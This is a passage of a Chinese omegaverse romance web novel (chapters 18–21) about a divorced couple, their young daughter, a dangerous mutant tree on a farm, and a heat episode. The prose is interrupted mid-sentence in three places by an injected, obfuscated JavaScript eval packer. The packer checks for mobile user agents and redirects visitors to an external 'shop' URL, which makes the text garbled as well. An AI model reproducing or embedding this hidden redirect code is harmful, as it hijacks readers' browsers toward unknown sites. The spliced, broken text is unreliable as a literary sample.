姚悯站在几步之外,手里提着食盒,眼神往李桐的手上看了一眼,白舟感觉自己有一条无形的尾巴夹了起来。 “……” 为什么她每次和相亲对象见面,都能被前妻前碰到!!! 18. 想咬她 “这就是我的女儿,是不是很可爱。” 白舟抱着甜甜向李桐介绍完,又教甜甜喊阿姨好,李桐勉强笑笑。 她昨天相亲的时候就向李桐坦白了自己的情况,对方说不介意,但现在看来,好像还是有点介意的。 白舟转头看向姚悯,对方今天穿了件宝蓝色衬衣,一条飘带从领子往下坠,偶尔被风吹起,带出那么一丝飘逸感,卷发全部拨到左肩坠在胸前,精致白皙的小脸戴着副无框眼镜,高智感扑面而来。 唯一不完美的就是,对方看她的眼神有些平静,这就是不爱她的表现啊,可惜她清醒得太晚了。 白舟心里不大得劲儿,她看着姚悯的眼睛,却是对李桐说:“介绍一下,这位,是我的前妻。” 咬字清晰,像带着些微挑衅一样。 但李桐听不出来,她只知道对方很美,像高贵的黑天鹅,会让她产生一丝莫名的自卑感,不过只有一瞬,她对喜欢的东西一向都爱主动去争取,更何况白舟还是她的相亲对象。 而高贵的黑天鹅只是白舟的前妻而已,她可以不在意。 李桐整理了一下自己坠在肩头的发丝,走两步站在姚悯面前,伸出右手,笑得天真烂漫,“你好,我是舟舟的相亲对象,李桐。” 白舟:“……” 姚悯看一眼她的手,没握,只对她点点头:“你好。” 连自我介绍都没有,也不知她是没把人当回事,还是不喜欢和人有肢体接触。 李桐微哽,尴尬地收回爪子,看着白舟的前妻从她面前走过,细腻白皙的侧脸无端就把她压下的自卑挑了起来。 白舟有点想捂额,几年过去,她的前妻姐怎么连人情世故都不懂了呢? “见谅,她可能有点怕生。” 白舟替姚悯解释了一句,像极了家属,李桐挤了个笑容说没事。 姚悯微顿,看着白舟,直接把手里的食盒递过去,“白奶奶让甜甜送来给你的。” 一句话轻飘飘的话就将来送饭的原因交代了个一清二楚,同时也表达了一个意思——不是她想来的,别多想。 只是她没想到昨天看到的Omega竟只是相亲对象,不过看样子,对方对白舟还挺上心的,但白舟应该对她没什么意思。 因为刚刚白舟说的话恰巧被她听到了。 “还是甜甜知道心疼人,给妈妈送饭来了。”白舟接过食盒,话却是看着姚悯说的,像是在阴阳怪气什么一样。 姚悯抿抿唇,有那么一瞬间有些怀念以前的白舟了。 “妈咪,一起来哒。”甜甜把小脑袋靠在白舟肩上,不忘奶乎乎地给妈咪邀功。 白舟拿大脸蹭蹭她的小脸,眼神从姚悯脸上掠过落在李桐脸上,顾及第三个人在场,她斟酌着字句说:“抱歉,我家里也给我送饭来了,我习惯了吃家里的饭菜,不过不管怎么样,还是谢谢你的好意。” 这话客套得是个人都听得出来有多客气,大家都是要脸面的人,留在这儿也讨不到什么关注,李桐挤了个笑容,“没事儿,那我先走了。” 白舟点点头,还教女儿说“阿姨再见”,也不知道是不是故意的,反正李桐听了挺扎心的。 但这不在白舟的关心范围,她找了块大石头坐下,一边吃饭,一边看甜甜拿着根小木棍蹲在地上戳泥巴玩。 饭吃到一半时,她看姚悯还站在不远处,侧对着她,飘带随风摇曳,风姿绰约。 白舟视线往下,微顿后,说:“你要不要过来坐一下?站着挺累的。” 她都看见姚悯在转脚腕了。 姚悯往她旁边的空位看一眼,坐下会离白舟很近,她摇摇头:“不用了。” 白舟“啧”一声,说:“忘了你不喜欢靠近我,不累的话就继续站着吧,反正这儿也没别的地方可以坐了。” 声音不大,却有些嘲讽的意味儿。 姚悯摸了摸手腕上的佛珠,几十秒后,转身在她身边坐下,她捋了捋衬衫袖子,偏头看白舟,用稀松平常的语气说:“你好像变了。” “……” 这什么话,搞得她跟个渣女似的。 白舟撇撇嘴,“人不就是这样,一个年龄段有一段新的变化,一段又一段,拼出这不完美一生。” 姚悯“嗯”一声,轻轻的,像认同,又像无话可说却出于礼貌回应了一声。 这沉闷的样子,白舟也不知道自己当初是怎么受得了的,难道真是应了那句话:当你爱上一个人时,你可以忽略她所有的不足。 真是浪漫又可怕。 白舟摇摇头,继续大口扒饭,看女儿在小小的空地里面挖呀挖呀挖。 而姚悯等了一会儿,没等来白舟像以前那样自顾自地往下说,她有些不自然地扶了扶眼镜。 没了说话声,姚悯才注意到鼻端环绕着丝丝缕缕的草木香,曾经注入过她腺体里的信息素,让她现在想靠近,又想远离。 片刻后,她不动声色地偏了偏头,佯装在打量这周围摞着的树杆,随口说:“砍完这些树明天就能犁地了吧?” 白舟吃口菜,含糊着点头:“不可以。” 姚悯“嗯?”一声,等着她解释,但白舟假装没听见她的“嗯?”。她一点也不喜欢姚悯每次都是“嗯。”“嗯?”“哦。”,跟应付什么似的。 等了一会儿,旁边没出声,姚悯偏头看一眼,对方在鼓着嘴巴嚼嚼嚼,但她确定对方听见了她的“嗯?”。 姚悯眯了下眼,看着她的神情稍微想了一下,有些无奈地开口:“为什么不可以?” 白舟看她一眼,心下诧异,她的前妻姐什么时候学会追问了,该不会是在找话题跟她聊天吧? 这时有风吹过来,一条飘带不小心撩拨了她一下,白舟好像闻到了雪莲的香气,裹着她软下了语气,“还要挖树根,清理完树根才能犁地。” “哦。” 白舟“……!!!” 很好,还是那个话题终结者。 白舟继续安安静静地扒饭吃。 “会有危险吗?”过了会儿,姚悯看着甜甜问她。 白舟瞥她,内心暗哼,面上正经道:“有一定的可能性。” 她们昨天喷了‘防生剂’,但现在已经过去24个小时了,虽然新的变异植物不会立马长出来,但谁也说不准会不会有的变异植物在地底下憋不住了,吵着闹着要出来见太阳。 姚悯习惯性“嗯”一声,白舟瞟她一眼,然后收拾收拾碗筷,偷偷在心里吐槽前妻姐不会聊天,余光中却忽然闪过一个黑影,她心下一紧,下意识就抓着姚悯的手将人扯过来,弯腰单手抱起甜甜,撤离此地十几米远。 “砰——” 她们刚刚坐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728498|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石头裂成了几大块,一颗紫色的树从地里快速冒了出来,十几条细枝在空中舞动着。 白舟看着它在几十秒内长出了红色的叶子,又丑又吓人,她看着怀里的甜甜,问她怕吗,甜甜摇摇头,还好奇地探头看去,见她神情不似作假,白舟又看向姚悯,对方除了脸有点粉粉的,倒是淡定得很,显得她很慌张似的。 但这意外来得实在突然,差点把她们一家三口的小命交代在这儿,白舟还是有些后怕,她拉姚悯又退开几米远,确定那棵树攻击不到她们后,松开握着她手腕的手,把甜甜塞她怀里,说:“这很危险,你快带甜甜回去吧。” 说完,她就转头盯着那棵丑树,一边给于音打电话,让她快过来,带着上次那台能提取精华的那什么机过来,有好东西。 挂了电话,白舟察觉到身后的人还没动静,回头看了一眼,这一眼却让她腰椎瞬间一麻。 只见姚悯双颊透红,眼眸像一面平静的湖水被掷下一颗小石子,水波荡漾开来。 同时,她的呼吸在颤抖,像是努力隐忍着什么。 白舟从未见过这样的姚悯,不对,离婚那晚依稀见过,却从未如此清晰地看见过。 白舟闻到了很浓的雪莲香,曾经被她尝过的雪莲香,一阵一阵地冲她叫嚣着,她的喉咙滑动了一下,伸舌润润嘴唇,问:“你怎么了?” 她心里隐隐有猜测,但对方表现得太镇定了,像只是突然发了个烧而已。 “妈咪妈咪。”甜甜伸手捧住她发烫的脸,蹙眉担忧道:“烫烫。” 姚悯抱着甜甜的手指微微泛白,像在克制着用力,她拿薄红的眼看向白舟,“快带我回去。” 声音轻轻的,仔细听还有些颤息,如悬挂屋檐的冰锥,直勾勾地闪着白舟。 姚悯刚刚吸入太多草木香,诱出了发情期,信息素开始紊乱,腺体突突地跳着,像是要把她的理智烫成云烟。 以往她去哪儿都会带着抑制剂,但刚刚以为只是去隔壁把甜甜接回家而已,想着用不了多长时间,就没带,却没想到出现了这种意外。 偏这一次出了意外。 姚悯低着头,身体很难受,心里很不安,她怕在白舟面前失了体面,也怕被女儿看到不该看的。 她能坚持到家吗?今天还能维护住做人的体面吗? 忽然,一滴泪从姚悯的下巴滑落,砸在土里像是摔碎的冰片,片片刮着白舟的心。她不怕看到别人的脆弱,但她怕看到素来要强的姚悯露出脆弱的一面。 “我马上带你回家。” 白舟红了眼圈,伸手抱过甜甜放在小电驴的踏板上,扶着姚悯坐上后座,用最快的速度带她回家。 小电驴是白舟最喜欢的短程交通工具,但此刻她却无比讨厌小电驴,速度太慢了,她应该开飞车出来的。 焦急的白舟并没有注意到自己的信息正在不断往外蔓延,诱着姚悯去咬上一口。 有那么一瞬,姚悯真想回到腺体残疾的时候。 信息素是能让Omega和Alpha产生欲.望的东西,白舟打过‘终生抑制剂’,所以她还能保持清醒,但姚悯正逐渐沉浸在近在咫尺的腺体上,她的意识在变得薄弱,本能让她往散发着草木香的腺体靠近。 想咬。 姚悯的心里只有这一个想法,但理智在遥远的角落呼唤着她。 19. 被前妻姐咬了 到了家门口,白舟感觉到后颈被人亲了一下,微凉微软的唇,轻轻地,碰着她。 白舟小腹猛地一紧,呼吸一顿,手刹一抓,差点翻车,她深吸口气,咬着牙说:“姚悯,别乱动。” 说完,她弯腰把乖了一路的甜甜抱下车,刚一回头,怀里就扑进一个香香软软的物体,往她脖子处拱着、嗅着,诱人的雪莲香将她包围。 要了命了。 白舟搂着她的腰将人抱下来,却看到姚悯的唇上沾满了鲜血,滴到了下巴处,眼里盛着少见的委屈,白舟心里顿时一紧,有些微微的疼。 她抬眸,对上姚悯眼底的一丝清醒。 “抱……我进去。” 姚悯的声音轻得像阵微风,却像块巨石一样撞进白舟的心里,涩得发紧。 她低头把甜甜仰着的小脑袋轻轻转了个方向,轻声问“甜甜能自己走进去吗?” 甜甜不知道发生了什么,但她妈咪的样子让她有些不安,对于妈妈的话本能地点头,字正腔圆地回答:“能。” 白舟摸摸她的头,伸手环过姚悯的膝弯,将人拦腰抱起。 大门没关紧,白舟一抬腿就能打开,怀里的人不安分地动了几下,白舟放在她背上的手一边轻轻拍着,一边回头看一眼甜甜,见她迈着小短腿哼哧哼哧地跟着进来后,又抬腿把门关上,这才稍微放心地大步往里走去。 “抑制剂在哪儿?”白舟边走边低头问姚悯,却没得到对方的回答。 此时,她已经进到客厅了,正想把人放在沙发上,视线向左微瞥,却陡然定住,白舟皱眉看着一身卡通睡衣的舒朝,“你怎么在这里?” 脱口而出,语气也不太好,显得不是很待见这个人。 但这不怪白舟,是以前舒朝每次来她们家,总爱在客厅里看恐怖片,而她对这类电影恰巧有些害怕,被舒朝知道后,对方非旦没收敛,还故意把声音调到最大吓唬她,所以那时她是真的不是很欢迎舒朝过来,现在都有应激反应了。 “你怎么在这里?”舒朝才要惊讶死了,她表姐那不负责任的前妻怎么也在这儿? 说着,她看到表姐娇娇弱弱地窝在她怀里,下巴都要掉下来了,但她很快就发现了不对劲,小跑过去,担忧道:“表姐,你怎么了?” 姚悯的脸完全埋进了白舟的颈窝,身子控制不住地微抖了一下。 白舟抱着姚悯立马转了下身,留下一句“甜甜在外面,你快去看一下她。”后,转身进了姚悯的房间,顺便把门锁上。 她知道姚悯定是不愿让人看到她这副模样,而她也不愿别人看到这样的姚悯。 此时的姚悯浑身潮潮的,汗在她脸上滑过,发丝黏着粉红的皮肤,和唇上的鲜红粘在了一处,狼狈又娇艳。 白舟伸舌润润嘴唇,感觉自己也要进入发情期了,不然怎么会产生把姚悯这样再那样的想法。 她呼吸重了一下,咬着牙压下心底的龌龊,把姚悯放到床上,撩开她的头发,问:“你的抑制剂放在哪儿了?” 声音哑哑的,像铅笔在砂纸走过。 姚悯仿若未闻,抬手扯开衬衫,一片雪白见了光。 光滑细腻的,胸前躺着一颗小红痣,姚悯的皮肤很薄,轻易就能染上浅粉,像透着温柔的状态,她躺在那里时,像一团绵软的云,被光反射出柔软的底色,与她平常给人的感觉完全不同。 这样的姚悯比以前更吸引白舟。 但白舟却像烫着了眼睛似的,慌乱地起身在房间里找起了抑制剂,借此压制心中的邪.念。 而满屋的雪莲香却霸道地将她包围,引.诱着她犯罪,攻击着她最薄弱的意志力。 房间里的人在翻来翻去,床上的人在扭来扭去。 没多久,白舟在姚悯的包包里找到了抑制剂,同时,背后贴上一片热源,她的腺体迅速被一张唇覆上,在她没来得及反应的时候,疼了一下。 ——姚悯在咬她。 力道不重,但她感觉……自己的信息素被人以一种缓慢的速度吮走。 怎么办? 要推开吗? 赵知说她的信息素比抑制剂更有效,现在姚悯好像已经失去理智了,而她,可耻的一点也不想推开。 犹豫间,白舟忽然感觉自己的小胸脯被人抓住了,她低头看去,细长白皙的手指往她心湖瞬间被撒进一把小石子,一圈一圈的波纹是她的隐忍与纵容在打架。 曾经被她幻想过的场景在如今实现了,可对方现在并不清醒,就像一击重拳锤醒了快要沉沦的她。 也许换了个人,姚悯也会这样对别人,仅仅是想象了一下那个画面,白舟就感觉自己有了要将姚悯藏起来的冲动。 她跪坐在地上,看着那只手溜进衣服里,冲动与理智随着对方的动作松松紧紧地纠缠着。 “姚悯,别这样。” 终于,理智占了上风。 白舟握住在她身前放肆的手,转身往姚悯的腺体快准稳地扎了一针。 世界归于平静,留下两道粗重的呼吸在小心翼翼地克制着声量。 几分钟后,白舟靠着身后的柜子坐着,眼神盯向坐在地板上低垂着头的姚悯,她正在扣着衬衫扣子,扣第一颗扣子的时候手抖了一下,没扣上,一秒之后才成功扣上。 但本就不多的扣子还被她刚刚用力拽掉了三颗,剩下两颗也在摇摇欲坠,扣上之后根本遮不住什么,她干脆起身抓过床上的薄被披上,然后坐在床边偏头看着窗外。 潮湿的长卷发将她的整张侧脸盖住了,白舟看不到她的表情,是会羞涩?还是恼怒?也许……会觉得难堪?又或者依旧是平静、淡定的? 她猜不到。 若是从前,她还是个体贴的妻子,会选择暂时离开这里,留下时间给姚悯整理情绪,但现在白舟想到刚刚姚悯在吮她的腺体,以及……抓她的小胸脯,她就忽然很想看一下对方现在会是表情。 房间很安静,人也很安静。 几分钟后,白舟还是离开了这个房子,她把自己代入了姚悯,一个在人前从来都得体的人,一次失控就足够让人觉得难堪了,更何况,她们现在没有任何关系。 没有人会在一个毫无关系的人面前不受控地脱衣服,事后还能保持坦荡。 白舟刚一打开房门,眼前一个黑影扑来,她迅速躲到旁边,顺便把门关上,舒朝“砰”一下撞到门上,捂着鼻子看她,“你们在里面干嘛了?” 声音大大的。 白舟瞪她,“别吵,她要休息。” 留下似是而非的话后,白舟去哄了哄女儿,才离开这里。 姚悯披着被子站在窗边,阳光浅浅打在她脸上,未消的粉红越发透亮,她看着缓缓被关上的院门,心里也缓缓划过一丝异样。 不可否认,对于刚刚的事,她是有些无措的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728499|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也仅仅是无措而已,有点像……闯了祸不知道该怎么办了。 房间的空气里还弥漫着浓郁的草木香,姚悯不觉伸舌舔了舔上牙,仿佛又尝到了那抹清香。 她想到了领离婚证的那天晚上,白舟喝醉了,对方的信息素状态是正常的,而她是清醒的,但那晚,她们做了。 如今她的信息素紊乱不受控,而白舟是清醒的,对方却推开她走了。 说不上是什么心情,姚悯只觉得心里好像有点闷闷的,躁得她有点烦。 白舟又返回了农场,赵梨梨她们也在,甚至还围了不少人,个个拿着无人机的遥控器不知道在干什么。 走近了,白舟才听见“左边”“砍它”“这是我砍下来的”“小心”的字眼,依稀还听见了于音的声音,但人群太吵闹,她听不清于音讲了什么,只是声音很急,像是被欺负了一样。 白舟开着小电驴立马按着喇叭冲过去,到了才发现好几台无人机上绑着小锯子在和那棵‘丑树’打架。 “你们都住手,这是我们院里要研究的,你们不许砍死它。”于音穿着黑色小背心,伸手去拍旁边人手里的遥控器。 “什么你们院我们院的,这害人的玩意不弄死它,还留着干嘛,当宝贝吗。”人群中有人回怼她。 其他人也纷纷跟着附和,五六个人欺负于音一个文弱Alpha。 白舟停好车,气沉丹田地吼道:“都给我住手——” 声音嘹亮,喊出了震慑全场的气势。 吵闹的人群短暂地安静了一会儿,回头一看她,齐留海,大眼睛,有点婴儿肥,脸型很漂亮,但是看着很好欺负,于是这群人又留了个后脑勺给她,继续吵嚷。 每当遇到这种情况,白舟总有点讨厌这群以貌取人的‘瞎子’。 她看一眼不远处看热闹的赵梨梨,磨了磨牙,直接从地上举起一根大腿粗的树杆往于音面前一拦,将这群人隔开,大声道:“我已经叫了附近的巡逻小队过来了,你们再闹下去的话,等着进去喝茶吧。” “还有,这块地已经有主了,你们合伙在这里破坏人家的东西,可是要赔钱的。” 国家有明文规定,变异植物长在别人的地里,除了主人家和持‘国家变异植物处置文件’的公职人员外,其他人不得未经允许随意砍伐。 这是因为目前长出来的变异植物里有一小部分是有价值的,曾经有一株‘黄蓝树’被卖出了上百万,后来有人因为抢夺这类变异植物,闹出过人命,司法部才添加了这一条律法。 但贪婪是人类的天性,这不是规则可以随便压制的。 对面的六个人还在蠢蠢欲动,于音趁机贴在白舟耳边说:“姐妹,知道那是什么树吗,‘春来发’,制作‘身体强化剂’的主要材料,网上有大佬发过帖子,谁要发现这种树,出二百万收购,所以这些人才合起伙来欺负我的。” 顺便告了一状。 ‘身体强化剂’能增强人体的各种机能,不过多用于军方和佣兵团。 白舟闻言微诧,觉得姚悯运气真好,躺着就能有二百万入账。 她问于音有没有受伤,于音摇摇头,说被气到了而已。 世间万物存在即有价值,没有价值也会被人创造出价值,而人类往往会在自己创造的价值里自相残杀。 对面有人动了动手里的遥控器,被白舟看到,直接抡起树杆甩过去。 20. 抢着给前妻姐打电话 巡逻小队来迟了一点点,白舟把人抡到地上的时候,莫离才带了俩人开着飞车过来。 莫离是巡逻小队的队长,是位英姿飒爽的Omega,也是于音的小青梅,但俩人早年因为某些事闹得不欢而散。 于音本来是抱着白舟的胳膊靠在她身上像小鸟依人似的,一见她来了,立马松手,挺直腰杆,也不说话,像个正经人一样。 “怎么回事?”莫离站到白舟面前,视线从于音脸上掠过。 白舟摇摇头,说不知道,她推推旁边装正经的女人,矫揉造作道:“小音音,你来说。” 故意的,于音伸出魔爪向白舟捏去,被躲开了,她暗哼,这才正眼看莫离,“他们要抢我的变异植物。” 语气正常,却有告状的意味儿。 莫离看着的锅盖蓬蓬头,捏了捏想往前伸的手指。 “是想抢姚悯家长出来的变异植物。” 白舟插了一嘴,被于音瞪了一眼,她耸耸肩,本来就是姚悯家的。 于音瞪着大眼睛看她,碍于莫离在这儿,她憋了憋,实在没憋住,开口就说:“好你锅坏粥,刚刚是谁喊我来的,我人到这儿了,你又说这是姚悯家的,那你喊我来这里是干什么的,给别人欺负吗?” 那不是不知道这树这么值钱吗,白舟心说。 她揉一揉自己刚刚因举树杆而有些疼的手腕,理不直气也壮地说:“我以为你只需要抽取一些精华而已,难道不是吗?以前我可没见过你还会把树给端走的。” 于音一哽,话是这样,但她听这意思,怎么感觉自己在白舟心目中的地位变低了呢。 她眯着眼睛看白舟,直把人看得心里发毛。 面对她吃人的眼神,白舟默默往莫离身边靠了靠,仿佛找到了靠山一样,对于音打着商量说:“要不,咱们先问一问姚悯,毕竟这玩意是在她的农场里长出来的,又值这么多钱,总得让她知道一下吧。” 于音“哼”一声,让她赶紧打电话去问,白舟却摇摇头:“我不敢。” 这搞得要抢人家东西,还提前知会人家一声似的,她不想做这个恶人。 “要不你先把精华提取走,把木头留给她。”白舟在她耳边悄声提议。 于音闻言总算舒坦一些了,她的粥还是向着她的,于是她也摇摇头,覆在她耳边说:“不行哒,人家要的就是这树里的精华,我提取走了,这些木头就不值钱了。” 这在行业内不算个秘密,但对于外行人来说,却算得上是个秘密了,因为提取精华需要专业的人来进行,所以网上说收购的都是直接要树,就怕有人提取不好,直接破坏了里面的精化。 俩人靠在一起旁若无人地嘀嘀咕咕了多久,莫离就看了她们多久,盯着于音的眼神幽深得仿佛要吃了她一样。 于音感觉后背凉凉的,凑在白舟耳边忽然转了话题,“你说那个小队长一直盯着我做什么,搞得我心里怪害怕的。” “可能是想泡你。”白舟一脸认真地摸着下巴回她。 于音:“……” “到底怎么回事?”莫离盯着于音问。 语气有点凶。 于音拉开与白舟之间的距离,撇撇嘴,“是白舟说这里有好东西,叫我过来的,我来了之后没多久,那几个人不知从哪冒出来的,带着无人机就过来破坏我的树,我阻止,他们还打我,你看,我的手都破皮了。” 有时候,白舟真的觉得于音好娇啊,就像现在这样,说的话挺正常的,细听却总觉得有点黏黏糊糊的,她搓着胳膊往边上挪了挪。 莫离看着她手背上那一道粉红,像被指甲划过的痕迹,不算严重。 她抿抿唇,吩咐下属把那几人先带回去看着,然后握住于音的手腕,于音要挣脱,她使了点劲儿将人握紧,看一眼于音,也不说话,单手从兜里掏出药膏给她抹上。 娇A强O。 白舟默默在心里给她们下了定义,然后蹲在地上给姚悯打电话,在等待接通的过程中,她咬了下指甲,有些忐忑。 好在没多久,对方就接通了,但没声,白舟轻咳一声,不尴不尬地问姚悯现在有没有好一点。 姚悯依旧靠在窗边,感受着是药也是毒的信息素从她鼻端慢慢消散,听见白舟的问话后,“嗯”了一声。 这一声“嗯”太平静了,白舟听过无数遍,却是第一次没有感到不满,她摸摸自己的后颈,那里已经变得平滑下来,可她却好像摸到了几个小小的牙印。 白舟勾了下唇,把刚刚发生的事简单地跟她讲了一下,才把于音想要提取植物精华的想法说了一下。 可她没想到姚悯连考虑都没有,直接说:“随你处置。” 随你处置,四个简简单单的字就让白舟的心狂跳了一下,好像对方在把决定权交给她一样。 白舟伸舌润了润唇,不大确定地说:“你可能没听清,于音说这株变异植物价值二百万呢。” 姚悯搭在窗台的手指轻轻敲了下,又是一声平静的“嗯”,一点也不把这二百万放在眼里的感觉,如果是三年前,白舟是真的确定对方确实不放在眼里,但现在姚悯家不是破产了吗?不是家道中落了吗? 她想不明白,对方哪来的底气看不上这二百万? 挂了电话,白舟撑着脸颊盯着远处那棵还在舞动的丑树发呆,几分钟后,她起身跟于音说姚悯同意提取。 于音咽咽唾沫,不敢相信,“二百万呢,她说不要就不要了?” “是的,说不要就不要了。”白舟撇撇嘴,又见她一副理解不了的样子,忽然问:“老实说,常年面对这些值钱玩意儿,你有没有起过歹念?” “那肯定是有的呀。”于音承认得很干脆,“我一个穷人,面对这么些值钱玩意儿怎么可能不心动,说实话,我每一次都想把提取出来的植物精华拿去换钱。” 于音一副可惜的模样,她进研究院是签了合同的,偷卖是要被送进去的。 白舟看看在操作提取机的于音,又看看正在盯着于音看的莫离,只觉得爱真的是太难了,每个人都在小心翼翼,进不得,退不能。 她捂着脖子坐到自己的小电驴上发呆,赵梨梨却忽然凑到她身边,白舟还有点介意她刚刚在一旁看热闹,没理她。 赵梨梨摸摸鼻尖,说自己上有老下有小,出了什么事,家里一大群人就要饿肚子,叽叽歪歪地打了一通可怜牌,总结就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728500|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是——她帮不了。 白舟还是不理她。 赵梨梨也不解释了,往于音那儿看一眼,悄声说:“舟舟啊,咱们的甲方不是说这些树都卖给咱们了吗,那那棵‘春来发’也应该是咱们的才对,你怎么让别人给抢走了呢。” 语气颇有责怪之意。 白舟睨她一眼,语气冷淡,“没签合同,这些树就都还是甲方的。” “况且于音作为国家变异植物研究院的人,她要拿这棵树去研究,好分析出对咱们人类有利的信息来,是为咱们人类做贡献,而且甲方都没说什么,你在这叽歪些什么呢。” 语气已经有些不太好了。 她以前还同情过赵梨梨生活压力大,甚至觉得她每天都努力工作养活一大家子,蛮有担当的。现在……白舟暗地里摇摇头,不予置评。 不满归不满,但对方还是公司的合伙人,有些话白舟不得不提点,“梨梨啊,小家固然重要,但咱们生活在这片土地,有些东西是要靠大家一起维护的,你明白吗。” 白舟说完拍拍她的肩膀,也不管她臭臭的脸色,转身坐上了挖掘机,等待开工。 于音提取完精华之后,‘春来发’立即枯萎下来,了无生气地耷拉下枝条,她小心翼翼地收好精华,看一眼还笔直站在不远处的莫离,默了默,还是走过去别别扭扭地道了声谢。 没有莫离的出现,她可能都没这么顺利。 莫离点点头,说:“我送你回去吧,万一路上遇到点什么意外。” 于音并不是很想跟她单独呆在一块,但对方说得不无道理,二百万呢,一个人总是安不下心的。她点点头,转身跟白舟说了一声,然后坐上莫离的飞车离开了。 白舟看着她颇有要双宿双飞的样子,轻“啧”一声,掏出墨镜戴上,启动挖掘机将那棵‘春来发’连根挖起,然后向里进攻。 说实话,白舟每次开挖掘机都有点怕怕的,虽然已经往地里撒过变异植物最厌恶的‘椿’了,但总有个别异类,就像中午长出来的那株‘春来发’一样,嚣张兮兮的。 其实,市场上也有无人驾驶挖掘机,但公司资金有限,她们买不起,只能先淘这种老款设备,打算以后资金富足后再购置新设备。 不过亲自开挖掘机也挺酷的,跟玩儿似的。 白舟把树根挖出来,又把坑填平,操控着挖掘机碾过去,却在挖下一根树根时,挖到了宝贝。 她看着那根黑乎乎,还沾着泥巴的木头,再次觉得姚悯运气好。 只是她才挂了电话没多久,现在又要打过去吗? 对方会不会觉得她很烦? “乌木!!!” 这时,赵梨梨坐在另一辆挖掘机上喊了一声,神情有些些激动。 白舟看她抬起手腕,似要打电话,连忙喊道:“你别动,我来给甲方打电话。” 但赵梨梨是谁,她不但抠门,她还爱占便宜,刚见识过甲方的慷慨,又怎么舍得放过这次机会呢,白舟喊的时候,她已经在翻通讯录了,急得白舟直接对着手环说:“打给前妻姐。” 她的手环比赵梨梨的要高级一些,拥有快捷语音功能,但赵梨梨也已经把电话打出去了。 21. 她在审视白舟的身材容貌 电话一直在占线,但姚悯接的肯定不是赵梨梨的电话,白舟直勾勾地盯着呢,赵梨梨一直在拨打电话,没接通过。 当然,她自己也一直在拨打电话。 没人跟她抢的时候,白舟还能磨磨唧唧、胡思乱想,一旦有人跟她争的时候,她想也没想,凭着本能打电话,她的潜意识还是想和姚悯通电话的。 此时,姚悯接的是她三姨的电话,对方说本家看中了一块地,但是资金不够,想问她借一点。 只是对方并没有借钱的态度,反倒颇有趾高气昂的意味儿。 姚悯盯着光幕里不断变动的数据,眼神越发寒凉,斑驳的红唇轻启,“没有。” 轻飘飘的两个字,从她嘴里说出来却带着一股强势的味道。 不理会对方的骂骂咧咧,姚悯挂了电话,接起另一个来电,“喂。” 声音凉凉的,像从水里捞上来似的。 白舟莫名感觉到她在不开心,但她现在没资格去问,更没资格去安慰。 她动动手指,摘下脸上的墨镜,用一种很平缓的语气说:“是我。” 姚悯“嗯”一声,语气稍有回暖,白舟听出来了,她捏捏自己有些软的耳垂,“我在地里挖到了乌木。” 乌木属于不可再生资源,挖到乌木是要上交给国家的,不过国家也会给予少许的补偿,所以赵梨梨才那么积极地想要联系姚悯,希望对方也能大方地把处置权交给她,由她去领这一份补偿。 但很显然,赵梨梨的算盘打错了,电话不但被白舟抢先一步打通,姚悯还要亲自过来看看。 白舟不明白她要看什么,但还是跑到了农场入口处等着。 姚悯是走路来的,换了一身衣服,白色衬衫,蓝色牛仔裤,手提黑色小包包,本该是青春亮丽的气质,却被她穿出了知性的味道。 让白舟顿时眼前一亮,她只在大学时见过姚悯穿成这样。 这一瞬,她好像被拉回了刚遇见姚悯的时候,她莽撞且高调地追求姚悯,但姚悯冷静且无情地拒绝了她,可她当时最大的优点就是不要脸啊,被拒绝了依旧天天往人家跟前凑,也不打扰人家,就单纯地想离姚悯近一点而已。 现在想想,当时的她还挺纯情的,天天面对着这样一张脸,竟然也没幻想过要跟对方酱酱酿酿,甚至连对视都撑不过三秒,不像结婚之后,天天的春.梦对象都是姚悯。 当然,现在也是。 白舟直勾勾地盯着对方走近,眼神澄澈,实则心里已经染了颜色。 白舟发现,跳出‘追逐’的圈子之后,她才算拥有完整的自己,敢讲敢想,不再为了维护关系而小心翼翼,她可以大大方方地直视对方。 就是仍有些可惜,她管不住自己这颗心,如今仍需小心翼翼,却是为了不让自己有越界的行为。 姚悯停在她面前一米远的位置,没说话,就静静地望着白舟,眼底平静。 和从前一样,等着她先开口。 白舟心下有些无奈,面上却淡淡地盯着她结痂的唇看了一会儿,踌躇着问道:“你现在没事了吗?” 姚悯眼里闪过一丝波澜,她定了定神,“嗯”一声,须臾,像是想起了什么,又补充着说:“没事了。” 像是有意识地一点小改变。 “没事就好,咱们进去吧。”白舟的声音松快了两分,可能是担忧的心彻底放下了,也可能是姚悯“嗯”后面又补了一句话。 